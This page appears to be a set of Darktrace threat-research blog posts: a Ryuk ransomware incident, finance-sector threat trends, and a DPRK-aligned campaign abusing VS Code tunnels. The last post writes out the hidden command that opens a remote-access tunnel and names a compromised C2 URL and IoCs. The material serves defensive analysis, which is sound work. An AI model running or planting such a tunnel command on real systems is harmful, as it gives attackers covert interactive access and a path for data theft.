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October 20, 2021

Analyzing the Resurgence of Ryuk Ransomware

Understand the latest developments in Ryuk ransomware and how its return affects organizations facing increased cyber threats.
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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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Oct 2021

In the era of international-scale cyber-warfare, focus has started to move away from small-time cyber thieves toward well-known, well-funded and sometimes government-backed cyber-crime organizations. Cyber-attacks sometimes work on discordant scales, however, and it doesn’t always take big budgets or key players for considerable damage to be dealt.

Numerous stories detail how the criminal and the curious alike have single-handedly breached some of the most secure systems in the world. At the more amusing end, there’s the story of Kristoffer von Hassel who discovered a novel exploit in Microsoft’s Xbox Live system at just five years old. And then of course there are those who hack their way right into promising security careers by breaching systems at major organizations. However, genuine damage has been done by individual threat actors as well.

These might be criminals using second-hand offensive tools, buying botnet armies for as little as $10 on the Dark Web, or using ransomware files downloaded for free. But ultimately, even a single cyber-criminal can inflict crippling damage upon large organizations if they are given the opportunity.

This is especially the case when the tools in their possession have been developed by some of the most notorious names in cyber-crime.

Copycat criminals

In early 2021, Darktrace detected a new instance of the once notorious Ryuk ransomware being launched against a business in the APAC region. The detection was intriguing.

The developers of Ryuk, a prolific cyber-criminal organization given the name ‘Wizard Spider’, had long since abandoned it in favor of a successor called ‘Conti’. Wizard Spider have launched some of the largest cyber-attacks in recent history, allegedly with the support of the Russian government, and are under investigation by Interpol and the FBI. They are not known for using outdated tools.

It soon became clear that this attack was not being launched by Wizard Spider at all, but by small-scale threat actors picking up the tools Wizard Spider left behind. And as the new attackers proved, these tools are still far from defunct.

Ryuk ransomware: A city-stopper for sale

Ryuk ransomware is commonly used to target large enterprise environments, even taking down entire city councils in some instances. Lake City, Florida and the City of Onkaparinga in South Australia are two of its known victims, along with numerous schools and hospitals across the US.

Once active in a system, Ryuk uses a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files, disabling Windows’ system restore feature as it does so, and generally demands payment via Bitcoin in return for a private decryption key.

Though Ryuk was not initially sold in the same manner as its predecessor, Hermes, on the Dark Web site ‘exploit[.]in’, it is now believed by some publications that the toolkit must be available somewhere for various threat actors to buy and tailor to their requirements. This explains its recurrence beyond Wizard Spider activities.

New dog, old tricks

Darktrace spotted the new instance of Ryuk during a trial with a real estate business in the APAC region. The first warning sign came when some basic .dat files were downloaded onto one of the business’ devices from an unknown Russian IP address. Darktrace immediately detected that this download was a likely breach and, had Antigena been set up in active mode, would have initiated a targeted response at this early stage.

The .dat files on the infected device allowed the attackers to use RDP (Remote Desktop Protocol) to spread further into the business’ network. Two days after the initial compromise, the threat actor had gained administrative credentials through a bruteforce attack and could begin scanning the network further.

Figure 1: Timeline of the attack

The witching hour

Just an hour after the attacker gained administrative credentials, at approximately 3:30am local time, ransomware files appeared in the business’ network. This timing was not accidental. The attackers knew that the security teams at the target business were home and asleep when the ransomware landed in the small hours of the morning, giving them plenty of time to conduct their attack.

This is precisely the kind of simple tactic which can multiply the scale of an attack without using large budgets or complex toolsets. The Ryuk ransomware rapidly began encrypting corporate files during the night, and by the time the security team returned in the morning, all they could do was shut down the entire network and hope to limit the spread of Ryuk, if only to save a few final devices.

The total attack time, from initial compromise to widespread data encryption, was just two and a half days. Whether due to understaffing or preoccupation, the security team did not find the time in that small window to respond to alerts, and, with Darktrace Antigena in passive mode, the attack was able to go ahead. This business’ need for Autonomous Response, which can protect against old and new attacks around the clock without the need for manual intervention, was painfully apparent.

Autonomous Response: Stop Ryuk before Ryuk stops you

Understanding Ryuk’s history and functionality does little good for organizations when it is still capable of eluding their defenses and catching security teams unawares. Darktrace’s Self-Learning AI is uniquely positioned to address these sophisticated threats, even as they evolve in the hands of different attackers and become unrecognizable to traditional rule-based security approaches.

Utilizing 24/7 Autonomous Response to stop both new and old threats at machine speed gives security teams the best chance of leveling the playing field against attackers. With Darktrace Antigena, the size or status of the attacking organization and their toolset is irrelevant – any anomalous and threatening behavior will be neutralized quickly and accurately, before damage can be done.

Thanks to Darktrace analyst Thomas Nommensen for his insights on the above threat find.

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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